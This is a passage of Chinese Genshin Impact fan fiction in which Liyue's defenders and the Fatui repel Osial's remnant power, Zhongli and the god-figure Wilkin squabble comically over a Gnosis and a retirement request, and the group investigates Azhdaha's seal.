和璞鸢将已然形成包围之势的水形幻灵一一挑飞,硬生生为提供阵法力量的凝光和仙人们清出一片空地。 空的手心凝出龙卷,袭卷着水形幻灵身上残余的雷元素,将感电反应扩散至登上群玉阁的所有幻灵,硬生生拖住他们的步伐。 源源不断的水形幻灵被打散又重组,海水成为了用之不竭的供给站,胜利的天平再度倾斜,璃月众人的阵型只能不断收缩。 一只幸运的水形幻灵已然悄悄凝聚身形,向腾不开手的闲云挥起拳头。 空第一个反应过来,提着剑就冲上去,但又因距离闲云太远,在剑锋划过水形幻灵元素核心的瞬间,凝聚了元素力量的拳头已经挥了下去。 闲云咬牙,同时兼顾浮空石和群玉阁防御阵法的她别无他法,只能硬生生接下这一击—— 一道雷刃麻痹了水形幻灵,就是这短暂的停顿,空瞅准时机,将这只漏网之鱼拦腰斩断。 数道雷刃从他们后方而来,狂猛迅捷的攻击为战场缓解了不少压力。 刻晴回头,瞳孔紧缩—— 愚人众的士兵居然趁虚而入,登上了群玉阁!! 可恶,现在璃月主力几乎全部在这里抵抗奥赛尔,若是至冬人下阴招…… 天权星显然同玉衡星想到了一处去,凝光正准备开口先安抚住这时候上来不知有何用意的愚人众,就听见一道声音不紧不慢道: “我们来得正是时候,给我上!” 说话之人掀起斗笠,紫色的眼中闪烁着无边的雷光,在他身后,所有驻扎在璃月港的愚人众士兵全数在此。随着散兵一声令下,所有愚人众士兵倾巢而出,但他们的武器这次不是对准千岩军的士兵,而是毫不犹豫地向数不尽的水形幻灵们袭去。 凝光同刻晴对视一眼,双双都不易察觉地松了口气。 还好,愚人众不打算趁虚而入。 散兵单手虚握,雷电的结界瞬间张开。在感电反应的作用下,水形幻灵们的行动受到极大限制,这场以少对多的战争,也因驻扎在璃月的愚人众士兵加入,而发生巨变—— “愚人众第六席执行官散兵,奉至冬女皇之令,为抗击旧日之魔神奥赛尔而来——”—— 作者有话说:一更,等会晚上继续。困的包被早点睡哦,明早上再看也是一样的。 第28章 第 28 章(营养液1000加更) …… 凝光向前来支援的愚人众投去感谢的目光。 “多谢, 不过我们现在面对的是奥赛尔死去后的力量……” 倒是削月筑阳真君还记着至冬人欺骗绝云间众仙、煽动他们与七星之间的旧账,碍于形势,也只是冷哼一声, 终究是没有再多说什么。 凝光苦笑一声, 单是奥赛尔死后的威能就如此可怕……她甚至都无法想象那个名为维尔金、据说是帝君好友的人, 究竟是有何身份, 能够做到轻而易举地斩杀掉奥赛尔。 她甚至都不敢去想, 钟离先生所说的、属于璃月港最后一道屏障的岩墙是否真的存在。 散兵挑眉:“奥赛尔死了又是怎么一回事?” 空长话短说,解释了一番来龙去脉,尤其重点强调了一番达达利亚多次试图招揽维尔金、以及钟离同维尔金的赌约这两件事。 散兵深吸口气,视线投向近在眼前的、显然已经被群玉阁抵挡住大半的奥赛尔残留威能。 不愧同雷神巴尔、岩神摩拉克斯所处一个时代的旧日之魔神,哪怕只有被封印后所剩的五分之四残余力量, 依旧让场面陷入僵局。 知晓维尔金身份的散兵很确定,奥赛尔肯定还活着。 没人比他更清楚,魔神死后究竟会有多么可怕的残留……那绝对不是所谓的一次性纯能量冲击, 也不是随随便便就能彻底解决的东西。根据散兵的经验, 奥赛尔要是真死了,璃月海域高低得变得跟稻妻一样,不说海水通电, 至少得有个中毒的负面效果。 而不是像现在, 除了海域成为天然的水形幻灵加工厂以外, 至少还没有出现特别麻烦的问题。 想来是尊贵的天理大人既想要放过昔日魔神一条生路, 但又想要继续履行同摩拉克斯的赌约, 从而想出来的招数。 “被动防守不是长久之计,我们需要想办法解决奥赛尔的残留能量。” 空劈开眼前最近的几只水形幻灵,空气随着它们的死亡而越来越潮湿,空甚至感觉, 呼吸越来越困难。 带着业障气息的长枪穿过水形幻灵们的身躯,亲历魔神战争之残酷的护法夜叉很清楚,只要有奥赛尔的力量作为供给核心,这些水形幻灵能够源源不断的再生。 “海域对漩涡之魔神残留的威能加持太大了。”理水叠山真君沉声,他眉头紧锁,看向空: “这样的消耗战对我们太过不利……旅行者,你觉得依照您对「天空」的了解……” “璃月不需要依靠神明的怜悯。”刻晴打断了理水叠山真君的未尽之言,言辞之间格外强硬—— “如果这个时候还指望会神明来帮助我们……那我们现在做的一切,又算什么!?” “玉衡星说得有道理,但如此僵持下去,的确不是办法,只是……” 还是散兵打破了僵局,他从袖口中拿出来真正能够决定战场结果的符箓: “别死气沉沉地哭丧着脸,愚人众可不是空手来的璃月——” “百无禁忌箓!” 意识到散兵手上所拿着的厚厚一踏符箓的究竟是所谓何物之后,闲云简直不敢相信自己的眼睛,不由得惊呼: “帝君用仙力制作出来的符箓怎么可能还剩下这么多?!你们至冬人到底是从哪里弄来的这么多百无禁忌箓?” “这些符箓可不是由摩拉克斯仙力制作而成……总而言之,就是这些百无禁忌箓解除了摩拉克斯对奥赛尔设下的封印,那再用它们封印回去就成。” 在绝云间众仙震惊的目光中,散兵轻轻挥手,数不清的百无禁忌符箓无风自起,为群玉阁隐隐暗淡的阵法重新激起希望的金色光辉,后者嘴角勾起,露出狂妄又张扬的笑容—— “好好看着吧!这些符箓,可是货真价实的人类制造!” 符箓展开,群玉阁瞬间光芒大作,在仿制版符箓的作用下,蕴含有奥赛尔力量的水形幻灵们也难敌曾将奥赛尔封印的符箓,就连攻击都显得力不从心起来。 好机会! 凝光手中掐诀,有了成百上千张百无禁忌箓做加持,她终于能够释放出群玉阁的理论上的所有阵法—— 整个群玉阁所有攻击阵法全部同时开启,在对奥赛尔力量特攻的百无禁忌箓的加持下,光炮所过之处,难缠的水形幻灵被轰杀至渣。 千岩军将士们士气大振,前来支援的愚人众士兵也更加奋力的向水形幻灵们发起攻击。 形势彻底逆转。 战线完成反推,就在所有魔物都被驱逐出群玉阁外后,闲云大喝一声: “就是现在!” 凝光看准时机,蕴藏着所有百无禁忌箓力量的阵法爆发出巨大的金色光柱,而那团属于蓝色魔神的力量核心,也随着金色光柱越来越向前推进,彻底消散在璃月海域的上空。 这算是……结束了? 短暂的寂静过后,前所未有的巨大欢呼声席卷了整个群玉阁 。 绝云间众仙这边却格格不入…… “……虽然空气中仍有奥赛尔残余的气息,但确实已经淡去不少了……”削月筑阳真君顾忌维尔金的真实身份,也不敢将话说得太透,只能语焉不详道: “想来奥赛尔,应该是已经被挫骨扬灰、永生不能安宁了。” 散兵耸耸肩,他可不认为奥赛尔死了。“谁知道大人物的想法呢?不过既然那位说的是要杀死奥赛尔,我们就当做可怜的漩涡之魔神已经死得不能再死了——在岩王帝君明面上仙逝的情况下,璃月不也需要一个漂亮的战果向其余六国证明自己实力依旧么?” “……你跟达达利亚可真不一样。”空感慨,“我还以为你们都是武斗派那一类的。” 散兵双手环胸,没点好气:“请停止你对我的贬低,我不是很想有人拿我跟这种脑子里只有肌肉的笨蛋相提并论。” “说起来……” 闲云迟疑:“帝……我是说,钟离先生不是说要先走一步来准备岩墙来以防万一吗……怎么到现在都不见踪影?” “我觉得……说不定他们就蹲在码头那边等我们——” 空站在群玉阁边沿,孤云阁已经雨过天晴,前方的璃月港,在静静地等待着英雄们的凯旋—— 马不停蹄溜回孤云阁并把岩抢插回脑袋上的奥赛尔,这次在回来的路上多留了一个心眼。 为了防止有人类作死,又学着某个笨蛋再弄个什么符箓唤醒他,奥赛尔在逃跑的路上还不忘特地在海底捞起一块大石头,写上一行大字—— “此处是奥赛尔的坟头,至冬人与摩拉克斯不得入内” 做完一切后,失去了力量但是找回来脑子的奥赛尔叮嘱自己仍算得上自由的妻子: 【记得每年定期驱赶鱼群到璃月港的渔场,碰到人类的鱼钩不要理会,还有就是……】 奥赛尔顿了顿: 【不要再想着建立水族的国度了,最好没事也不要出去,要是人类某天扩张过度、连孤云阁也遍布他们的足迹……你就叫醒我,我们一起去暗之外海吧】 一路上,神志渐渐回归的奥赛尔想了很多。 返回孤云阁才是最好的选择,暗之外海太危险了。 尤其是当年,不少战败的魔神都逃向了暗之外海,其中不乏奥赛尔的仇家。 虽然因为被封印而保留了大部分力量,但如今的他只剩下五分之一的力量,保住自己没问题,但要保住他的妻子跋掣…… 奥赛尔自己也没有底。但是带着跋掣往那孤云阁一趴,情况又不一样了。 天理的态度很明确:祂绝对不会让魔神战争有一丁点重新打起来的可能。 听上去像是断了他们夫妇二人的退路,但转念仔细一想,相当于天理明牌告诉他,只要他们别再跟隔壁邻居璃月对着干,摩拉克斯的岩枪就不会戳过来,天理也不会喊打喊杀。 排除掉天理和尘世七执政,在提瓦特大陆,奥赛尔确信跋掣基本上不会遇到危险。甚至对于大多数人类而言,他美丽的妻子才是危险本身。 此外,奥赛尔还要求跋掣坚持每年定时去驱赶鱼群。只要坚持个几百年,世间的法则会将她的行为视作自然规律的一部分,虽然刚开始,需要像他一样时不时陷入沉眠以抑制磨损的诅咒,但一旦成功,跋掣将得到真正的自由。 只是这份自由,不能由他和她同享。 漩涡之魔神挣扎着想要再多看眼他的妻子,可脑子插上摩拉克斯的岩枪后,睡意很快从脑子蔓延到尾巴,这位古旧的、在世人眼中已经死透了的魔神留下了他沉睡之前的最后一句谶言—— 【我亲爱的妻子,你一定要记住,接下来的千年,是属于人类的时代。】 ——所以一定,一定要去驱赶鱼群,让你枯燥无味的工作,成为人类生活的一部分。 最后一句话尚未说完, 奥赛尔克制不住睡意,沉沉地睡了过去。 跋掣昂头,透明的眼泪顺着海水流出,这位最初、也是奥赛尔最后的追随者,环住封印着丈夫的岩枪,一同陷入了沉睡。 “奥赛尔倒是脑子清醒。” 维尔金坐在摩拉克斯刚刚安好的岩柱上站起身,保住了妻子最大利益的同时,还遵照了世间之规则,若不是奥赛尔实在是打不过摩拉克斯,他倒是很中意这条脑子转得不慢又识时务的五头鳗鱼。 “以及……恭喜你摩拉克斯,你赌赢了。” 其实直到现在,维尔金仍然不敢相信,柔弱无力、随随便便一场天灾就能够死伤无数的人类,居然真的扛过了奥赛尔五分之四的力量。 这……真的还是人类吗? 维尔金不确定地想,他甚至觉得,若是他没有出现、事情如摩拉克斯意料中那样发展,人类也能重新将奥赛尔封印。 被维尔金坑得被维系者一把擒拿然后又扔下来的派蒙倒是格外高兴。 “就像你跟摩拉克斯约定的那样,人类没有依靠神明的力量哦!虽然那些百无禁忌箓的原版是摩拉克斯的手笔,但是那些人用上的,可不是带有神力的正版百无禁忌箓!” 一旁的派蒙双手插腰,得意地看向在反思自己对人类的理解是否存在偏差的维尔金: “现在的人类跟魔神战争时期的人类可完全不一样,睡了五百年的维尔金已经跟不上时代啦!” “如您所见,”钟离接过时间之魔神的话茬,向这位不知为何始终觉得人类脆弱无比的上司说道,“人类比我们想象得都要强大,都要坚韧。” “那么恭喜你了,摩拉克斯。”维尔金隐隐露出艳羡的目光,酸溜溜道,“居然比前辈兼上司的我先退休……” “你不说我都差点忘了,既然不用我再作为摩拉克斯担任尘世七执政一职,麻烦顺便把这个一起带走吧。” 钟离径直从胸口中掏出来神之心,对已经石化的维尔金解释道: “有段时间神之心一直在爆闪,比较影响大家的睡眠,我就装到本体里面去了。本来还想跟你说一声……不过现在你一来它反倒不闪了,麻烦你哪天有空看看,这颗神之心是不是坏了,要是报废了的话,我就把这颗神之心送给玛尔巴斯去搭人情……” 维尔金面色死灰,他错了,他不该觉得巴巴托斯不靠谱的。 摩拉克斯这家伙平时看着挺正常一魔神,怎么也在神之心这里出岔子? 维尔金看上去很平静,但是仔细一看,眼里已经有股淡淡的死意。 “真有你的,摩拉克斯。” 钟离疑惑:“维尔金大人何出此言?” “你猜神之心为什么一直在闪?”维尔金面露绝望—— “那是我在给你打电话啊!!”—— 作者有话说: 二更,家人们晚安(趴窝) 第29章 第 29 章(二合一)(捉虫) 俗话…… “竟有此事?” 钟离甚是惊讶的表情不似作伪, 石珀般的瞳孔里明晃晃地写满疑惑。 维尔金看出来了,这家伙不仅毫无愧疚之心,甚至连理亏的自觉都没有。 维尔金被这顺理成章又理直气壮过头的反问哽咽住了一瞬, 甚至险些开始怀疑起是否是自己的问题—— 而派蒙一时间也被短暂震惊到失语。她看着钟离, 又看看呆住的维尔金, 最后只能飘在半空, 同维尔金两人面面相觑。 不对, 不能被摩拉克斯带偏了! 维尔金率先脱离脑内风暴状态,其实理性分析一番,不管从哪个角度看,作为唯二迄今为止都没有换代过的魔神,摩拉克斯两千年都没有玩明白一个神之心……真的不离谱吗? “说真的, 摩拉克斯……”维尔金深吸一口气,率先打破沉默的僵局。但碍于钟离刚刚震撼过度的发言,维尔金的语气中已经流露出比发现房子建在须弥沙漠的死域还要苍白的绝望—— “你不会真的觉得, 神之心就是个装饰品吧?” 虽然维尔金自己也无法否认神之心的装饰性大于实用性, 但这可是集齐七个就能够打开天空岛快速返程通道的、兼有远程呼叫功能的神之心啊! 钟离短暂地沉默了一瞬,然后开口:“也不能说全是吧,毕竟我个人认为神之心在纪念意义上略大于装饰意义。所以当它在爆闪的时候……我以为是你和维系者在上面添加了一些独属于天空岛审美的小巧思。不过后来发现只要不理它就不闪了……所以也不是很在意……” “那就是还不如装饰品嘛!”派蒙精准提取重点, 还不忘在一边补刀:“维尔金, 摩拉克斯这颗坏石头觉得神之心连装饰品都不够格哦!他在嘲讽你的审美!” 维尔金眼神开始飘忽不定。 虽然什么都没有说, 但天理大人眼神的躲闪已经胜过世间所有冗杂的解释。 “怎么说呢……审美这种飘忽不定的东西……”维尔金终是叹了口气, 委婉说道, “我个人觉得还是要尊重一下本人生前的意愿为妙——虽然我也不喜欢繁复又闪耀得过头的道具……抛开神之心本身的问题先不谈,说说你的工作态度,摩拉克斯,两千多年了, 你难道就没有一点打算研究一下神之心构造的想法、哪怕是给它两下试试强度的想法吗?” 钟离轻咳一声,转移话题,似乎是发现了自己的理亏:“事已至此……既然也没有因为不知道神之心的正确用法出过什么岔子……” “——但总而言之,神之心没有出问题真是太好了。” “不过我也有个地方一直想不明白——”一旁竖起耳朵悄悄吃瓜的派蒙发现了盲点:“既然你一直不知道正确接听维尔金电话的方式的话……五百年前的坎瑞亚战争,你又是怎么赶到战场的呢?” 干得好派蒙!回天空岛让维系者给你加餐! “对啊,那次集结我可是用神之心发的通知,我记得摩拉克斯你来得还很快来着。” 重新有了主心骨的维尔金转身看向钟离,后者更是茫然:“有哪一次集合是维系者没有下界通知的吗?也就是说,不管有没有神之心,根本没有任何影响吧?” “对哦,你这么一说,我也想起来了,一般维系者都不放心维尔金自己发的通知,所以……只能说,维系者真是相当的有远见呢!”派蒙敲了敲脑袋,难得对维系者时不时有些神经质过头的担忧感同身受了一回,并且终于明白了,这么多年来维系者坚持准备双重保险操作意义究竟在哪—— 有维尔金和摩拉克斯这种同事的维系者,真是辛苦了! 一个喜欢用神之心通知,但是从来不管消息有没有通知到。 一个甚至都要退休了还不知道神之心的功能,开会全靠同事提醒。 总是跟这群人工作,怪不得维系者脾气越来越暴躁。 眼见忠实的摸鱼伙伴居然转投敌营,维尔金艰难地从记忆里扒出模糊的画面,试图论证自己还用过神之心联系他们。“那当年魔神战争后确定了尘世七执政的人选那次呢?我那可是特意确认过大家的神之心都能连接上才睡过去的!” 总不能那次开会摩拉克斯也没来吧? 钟离没说话,因为他真的完全没有维尔金确认了神之心情况的印象。 派蒙举手,拯救岩神于水火之中: “那次我想起来了,其实……你发了通知之后维系者也有提醒大家记得准时参加会议来着。后来清点人头数的时候,维系者发现摩拉克斯一直没连上神之心,就干脆给巴巴托斯安排了一个额外任务,让他以后但凡维尔金有什么任务或者会议,一定要及时通知摩拉克斯……‘反正那个动不动一窝就睡个几百几千年的懒鬼指不定多少年醒来才会用一次神之心,与其废那个劲找出不知道扔到哪里的神之心操作守则,还不如干脆让巴巴托斯有什么事飞一趟璃月得了’——” 派蒙语气沉重,拍了拍险些碎掉的维尔金,无情捅破了天理大人最后一丝丝幻想。 “这就是维系者的原话哦。” 破案了。 维尔金心中无比的沉痛,首先,他要在心底向鞠躬尽瘁却被他抓到当场在摸鱼的巴巴托斯道个歉。他现在百分百相信巴巴托斯只是单纯忘带神之心了——巴巴托斯至少知道神之心发光是维尔金在找他,而不是像摩拉克斯一样塞进石头里不管。 维尔金深吸一口气。果然,过长时间的睡眠会在醒来之后给熟人的形象披上一层滤镜,从现在开始,他只求尘世七执政能够端正对待神之心的态度就好。 “多谢了派蒙,虽然现在知道了答案,但事到如今感觉这些以后也都用不上了。”钟离递给维尔金神之心,一脸的可惜,“没坏的话那看来是不能留着当谢礼,还请麻烦把神之心带走吧……” 如果神之心失去了它最初的作用,钟离倒是不介意干脆给玛尔巴斯做个顺水人情,但现在天理苏醒,时间之魔神一齐下界……还是不要多生事端为妙。 “请你端正一下面对还没审批你离职申请的上司态度,摩拉克斯。” 出乎钟离的意料,维尔金拒绝收下神之心,他双手叉腰,真情流露出提瓦特最大最阴险资本家的险恶嘴脸—— “正好我最近也在准备退休的各种材料,既然你的申请还没有批,目前看来的工作量也是非常不饱和。所以摩拉克斯,你的退休申请先暂且保留,神之心先放在你这里——记住,当你看到它在拼了老命发光的时候,用元素力敲击一下就能接通我的电话了。” 钟离从善如流地点点头,然后把神之心收回心窝子里,顺滑到像被上司拒绝了退休申请、还没有达成退休大计的人不是他本人一样。 事实上,钟离本人已经相当满意。本来,摩拉克斯退下神位一事就不方便摆在明面上,没想到天理苏醒、居然也有退休的想法,几乎是瞬间,钟离就决定了干脆彻底提出他不打算继续干下去的想法,过程略显曲折,结果也差一点点达成完美结局—— 只是有点失策,居然忘记了多说多错的真理。 事实证明,哪怕你的上司平时好说话、经常沉睡、即将退休……他还是有可能会因为记仇,在你的退休申请上暗戳戳卡你一下。 “那个挡住奥赛尔力量的浮空岛阁楼飞到另一边了——” 眼尖的派蒙不忘这还是在提瓦特大陆,感紧提醒两个一言一行都能暴露身份的家伙—— “快看!摩拉克斯手下的仙人们来了!” “钟离大人——” 先行一步的魈自动忽略掉一旁的维尔金和派蒙,眼里只有帝君的护法夜叉看上去格外紧张。 “慌慌张张。”散兵扛着冻住达达利亚的冰雕,看着两位魔神一位天理的可怕格局,险些想当场把肩上这位尽会惹祸的末席给沉尸璃月港。 散兵这下真的是由衷地庆幸自己没有选择抛下达达利亚撤回至冬。 不然前脚回至冬,后脚发现至冬上了两个魔神加一个天理的黑名单,先前的一切就相当于直接白干。 不…… 其实真要说的话,在天理苏醒的消息传来的那一刻,他们所有的准备全部都白费了。 散兵低沉着眸子,看不出情绪。 眼下至少要及时止损。 比如保住至冬目前最没有异心的战力,达达利亚。 维尔金上下打量一番造型别出心裁的愚人众执行官,似是有些意外愚人众居然还没有离开,疑惑地看向被他们背过来的巨大冰雕。 “这位是——” “在下冰神麾下愚人众第六席执行官,散兵。”散兵放下达达利亚版大冰雕,略微欠身,表达来意,“我对先前无礼的末席扰了二位的心情深表歉意,如果有什么地方能够补偿二位,还请一定不要含蓄,至冬国真切地希望能够得到友邦以及……来自天空之上的谅解。” 散兵措辞极其严谨。 其实按维尔金和钟离的脾气,只要璃月并没有受到实质性的伤害,他们也自然不会跟达达利亚计较,不过既然散兵开口提出赔偿—— 这两个都是不知道什么叫做客气的家伙自然就大大方方地提出了自己的要求。 维尔金欣然笑纳,也没有狮子大张口,而是为二加一的旅行小分队考虑了一下接下来的住宿问题,向愚人众执行官提了一个非常朴实的要求:“帮我定下一个带有三居室的旅馆,拜托了,这对我和我的朋友都很重要。” 三居室? 天理、岩神和时间之魔神的关系有这么好吗? 散兵悄悄把问题藏在心底。 钟离略加思索,然后说道:“璃月刚刚渡了一场大劫,所以后续摩拉克斯送仙典仪的流水席费用就麻烦至冬的各位付账了,至于选品明细和账单,稍后我会让人送到北国银行。” 散兵:…… 那这位应该就是单纯地不想让璃月人给自己的送仙典仪出太多钱、打算让至冬来当这个冤大头了。 也不出散兵所料,钟离从袖口中掏出来显然是准备已久的明细清单,就转头对自己还没有成为前上司的维尔金说道: “维尔金先生,到时候还请一定要带着旅行者和派蒙参加我的送仙典仪……” 钟离甚至难得流露出了一种愉悦和惬意的感觉,像是兢兢业业操劳多年的老父亲终于盼得儿女成长懂事,身上的重担终于能够卸下后,大大方方地炫耀孝顺的孩子非得给自己买贵重的礼物一样,简直没眼看。 接过钟离手上长长的、甚至落在地上还能滚一圈的清单,散兵更想直接把达达利亚沉尸璃月港了。 虽然说相较于达达利亚闹出来的大动静对比一看,维尔金和钟离的要求完全没有为难他们的心思,但还是不妨碍他想把闯祸的末席扔出去。 “我会让人尽快去办,稍后,二位所需要的东西就会安排妥当。”散兵说完了客套话,把仍被冰封在冰块里的达达利亚放在中间,开始晓之以情,动之以理: “之前末席可能多有得罪,这孩子对冰之女皇太过忠诚,以至于鲁莽行事,把事情闹成这个样子……” 散兵深吸一口气,把那副“明明是自家孩子的错但是溺爱孩子的母亲说,只要能够救出自己的孩子什么赔偿都能够给”的家长态度学了个十成十。 “希望各位能够网开一面,放过这个无知的家伙。” 维尔金倒无所谓那些什么得罪之类的话——正是精力十足的年纪,喜欢自家神明、想要拼命为自己国家的神明招贤纳士,虽然手段有些偏激,但因为没有给维尔金带来除了公务以外的麻烦,所以他并不会在意。 “你觉得呢,摩拉克斯?”维尔金看向钟离,璃月毕竟是摩拉克斯的国度,要不要放过这位至冬人,还要看璃月的执政官的意思。 “维尔金先生,此言差矣。” 钟离这会倒是想起来自己的人类身份,正色道:“帝君已逝,还请不要再提及故神之名,不过既然愚人众愿意给送仙典仪大操大办作为赔偿、璃月又没有遭受到来自奥赛尔实质性伤害的话,我觉得按维尔金先生自己的想法来就好。” “那我给他解封了——” 维尔金蹲下身,嘴里还絮絮叨叨:“其实我本来寻思这冰放着两三年不管就会化来着,就当做一个惩罚……” 散兵欲言又止,但为了避免多生事端,只能生生咽下去自己的未尽之言,压下帽檐后也不再多说。向三位神明行了个标准礼后,就带着解冻的达达利亚飞走了。 “哟,维尔金!看上去已经跟钟离先生和好了!” 不熟悉的家伙们都走后,空拍了拍天理大人的肩膀,对着一旁的派蒙语出惊人:“咦!这是维系者下来抓你了吗!” 作为把维尔金身份泄露得一干二净的罪魁祸首,钟离心虚地移开目光,并把一头雾水的魈默默拉开。 趁着还有魈在,钟离赶紧说道:“仙人与璃月七星之间的事……还需要我这个中间人再去斡旋一番。七日后的送仙典仪,还请务必赏光。” 说罢,钟离顾不得等魈反应过来到底发生了什么,尊敬的岩王帝君就提着自家护法夜叉火速离开现场。 维尔金深吸口气,他已经不想再吐槽摩拉克斯了,一看就是这个家伙把自己底透了个干净。但不过,既然空已经知道了,再藏着掩着也没有什么必要,便向他们俩互相介绍道: “这位是时间之魔神派蒙,是处理公务文件的超级大苦手。”维尔金转过头,认真说道,“派蒙,这位是我的救命恩人,来自域外的旅行者,空。但凡他没有在鹰翔浅滩把我救上来,指望这些个不靠谱的七执政……我现在估计还在海里漂着呢!” 派蒙眼睛放光:“你好呀空!我是派蒙——被维尔金这个毫无生活常识又不靠谱的懒惰家伙缠上,你一定累坏了吧?” “哈哈哈哈哈,虽然维尔金没有生活常识,但是他有很努力地在学啦——”空笑得喘不过气来,“不过没想到,原来维尔金在天空岛的风评也不怎么靠谱呀。” “派蒙,不许造谣!”维尔金双手叉腰,阻止了是时间之魔神继续破坏自己形象的行径,顺便问出来他目前最关心的一点: “维系者对我下界怎么看?” “首先,维尔金你肯定是完了。”给维尔金宣判完死刑后,派蒙悬在半空的脚跺了跺空气,“那个凶巴巴的女人!居然完全不听我的解释就直接把我扔下来了!真是的,要不是我打不过她……” “安啦……”习以为常的维尔金觉得问题不大,甚至反过来安慰起越说越气的派蒙:“往好处想,她能对准我所在的坐标把你扔下来,而不是把你对准层岩巨渊,就已经是她难得的好脾气了。” “可恶啊……肯定是因为我们跟她太熟,我不信她对陌生人也这么凶残!” “……我觉得听起来应该没什么两样?” 不熟、但是兄妹俩被维系者拆散的空紧急加入谈话,非常详细地向派蒙讲述了一遍被维系者害得兄妹分离的前因后果。 “……我目前在找我的妹妹……派蒙要是一直跟维系者待在天空岛上的话,有没有见到过我的妹妹,荧呢?” 派蒙挠挠头: “真是不好意思,我从来没有见到过维系者把人带上天空岛后,而且……又是带走又是封印的……你们不会是不小心碰到了什么禁忌吧?” 空叹了口气,依旧是原来的说辞:“维尔金也说过这一点,可是我已经完全想不起来事情的经过了……” “总而言之,不管抓走你妹妹的家伙究竟是不是维系者,我们到时候回天空岛去求证就好——当然,前提是维尔金这家伙快点把这些东西搞定,不然我们肯定会被她扔出来……” 派蒙现在想起来仍然心有余悸,一想到维尔金居然残忍到徒留她一人面对维系者的怒火,这么多天来的辛酸苦楚甚至都要化作眼泪滴下来—— “你都不知道她有多么残忍、多么无情!就差那么一点点,我就要跟奥赛尔同归于尽了!!” “抱歉抱歉,主要是没想到才不过相隔千年,人类的变化就这么大……要是没有遇上奥赛尔,估计还能再瞒着她一会……” 维尔金双手合十,向委屈的时间之魔神保证:“我发誓,以后有我有一口饭吃绝对不会亏待派蒙一碗肉,以后绝对绝对不会让你独自面对维系者!” “要是做不到怎么办?” “做不到的话——就罚我一辈子都离不开天空岛、一辈子都退不了休,怎么样?” “要说到做到哦,维尔金。”派蒙双手叉腰,指着比自己还要高的文件大包裹,说道:“这些是维系者让我带给你的文件,就算是准备退休要好好工作哦!” “……才过去这么一会,就已经堆到从前要积攒三百年才能积攒到的量差不多了的地步了吗……” “所以,她才不希望你到处跑嘛,要是让维系者知道你在下面偷偷摸鱼,而不是在认真地准备材料的话……” 派蒙打了个寒颤,浑身激起来鸡皮疙瘩:“那个可怕的女人一定会把你的皮都扒掉的!” “我现在宁愿她把我做成神之心,”维尔金揉了揉太阳穴,头疼得要命,干脆出主意道:“反正刚刚薅了个三居室免费旅馆来,既然要花时间批公文,那还不如就在璃月把事情干完算了!我记得璃月好像还留有一个直接返回天空岛的临时坐标,要是能用的话,等我干完活就上去一趟问问空的妹妹的事情……到时候再随便找个理由下来继续写退休素材就好。” “就等你这句话——” 听到想要的关键词的派蒙迅速从巨大的包裹中翻翻找找,从眼花缭乱的资料文件中,找到了她处理到一半结果连人带文件一起被打包带下来的公文档案—— “看!这里还有个标红的紧急上报,本来我打算是要转交给维系者处理的,不过既然已经都下界,干脆我们一起去一趟吧!” 派蒙将文件抽出,指着羊皮卷上密密麻麻的情况说明,空赫然看到,一段被高亮标出来的文字记录让天理的瞳孔瞬间收缩—— “璃月地脉记录汇总清单第七百八十三条异常情况汇总:天遒谷至南天门区间,恐有元素龙王苏醒的征兆!”—— 作者有话说:赶了一波ddl,已老实(趴) 家人们久等了,这波我真的没有开摆,单纯的爪速太慢,急得想把脑子里的东西念出来()新同事来了后工作应该能匀出去点了,到时候我尽量早点写完早点发,大家也要早点休息哦! 第30章 第 30 章 温柔暖男爆改蓝毛萝莉…… 强大的古龙也曾被世间万物所钟爱。 提及南天门至天遒谷一带的龙王, 维尔金只能想到那条曾经和摩拉克斯称兄道弟、甚至在魔神战争结束之前二人关系都非常不错的若陀龙王。 岩元素是构筑提瓦特大陆之基础,但这个世界的法则没有太过偏心,哪怕是作为岩元素生物之顶点的岩元素龙王, 磨损依旧一视同仁, 加诸其身。 按理说, 元素龙王苏醒和奥赛尔突破封印理应是一个级别的大事。 但同奥赛尔被封印在孤云阁不一样的是, 若陀本体极大。 和脑门上一被插上岩枪就彻底睡死的奥赛尔不同, 掌握岩元素权能的古龙拥有从地脉直接汲取力量的能力。而封印的所在地,即天遒谷至南天门的狭长地带本身深入璃月内陆,紧邻须弥,南边又是璃月赖以生存的大型矿脉的采掘地层岩巨渊,地脉力量极为充沛。 如果说奥赛尔醒来之后, 想要对璃月造成什么实质性伤害,还得千里迢迢从孤云阁游到璃月港才能动手,那若陀只需要突破封印, 随随便便就能在顷刻之间, 同时对须弥和璃月造成极大的安全威胁。 维尔金在心底默默叹了口气。 他也不知道摩拉克斯是怎么想的,封印奥赛尔的时候就知道选个鸟不拉屎荒无人烟的地方,到了若陀这里, 封印之地就变成一处元素力充沛的风水宝地。 甚至还有墓志铭, 以免旁人打扰沉眠的古龙。 不知道奥赛尔作何感想, 可能这就是讨厌的魔神和曾经是挚友的古龙之间存在比较大的差别待遇吧。 和维尔金最初设想中存在的混乱和不安不同, 或许是因为多年来地震频发, 又或许是因为传说中岩王帝君同若陀龙王的战斗让这片土地再也无人胆敢轻易涉足,总之,一路上除了那些前往层岩巨渊开矿的矿工之外,一路上甚至连人影都没有见着几个。 到了地脉记录的确定地点后, 两侧如刀削般伫立的山岩夹着一片不大不小的原野。 一颗巨大又同周遭环境格格不入、美丽却完全不似正常植物的树,枝条上附着有宝蓝色的矿石,扭曲的枝桠指向天空,叶子茂盛却投射不下多少阴影,翘起的主干甚至像是某种生物粗壮过头的尾巴。 比如,龙。 维尔金走近些,树下的石镇子一语将埋藏此地者的身份道破—— 【玄黄好生,而仙君仁慈。压恶龙于此,闲人切勿造次】 就是这里了。 维尔金闭上眼,细心感受起此地地脉的状况,可结果却让他有些意想不到—— “奇了怪了,封印并无明显异状,甚至连若陀本人都没有什么动静。” “怎么可能,我可是看着地脉之花吐出来的报告!” 派蒙环绕着巨大的伏龙树飞了一圈,的确如维尔金所说,至少明面上,这里没有任何古龙即将苏醒的迹象,甚至连空气中弥漫的岩元素力都说不上充沛。 “这可就太奇怪了……”维尔金看着巨大的伏龙树,难得头疼。 地脉会忠诚地记录下一切异动,既然地脉能够分析得出元素龙王恐有苏醒的征兆,就一定是有什么地方出现了问题。但目前看来这封印不说牢固无比,只能说是完全没有从内部被损坏的样子…… 千年的岁月使伏龙树融入龙王的血肉,被龙血滋养的骨质枝条闪烁着特异色泽,像是蔓延盘生而成甲胄。但现在,这棵象征着岩元素龙王部分残躯的伏龙树,面对他的到来,也没有丝毫的反应,而是像是一刻真正的千年古树一样,安安静静地立在那里。 这附近并无地脉节点,只有光秃秃的石壁和看上去就没什么人来往的一条小路。 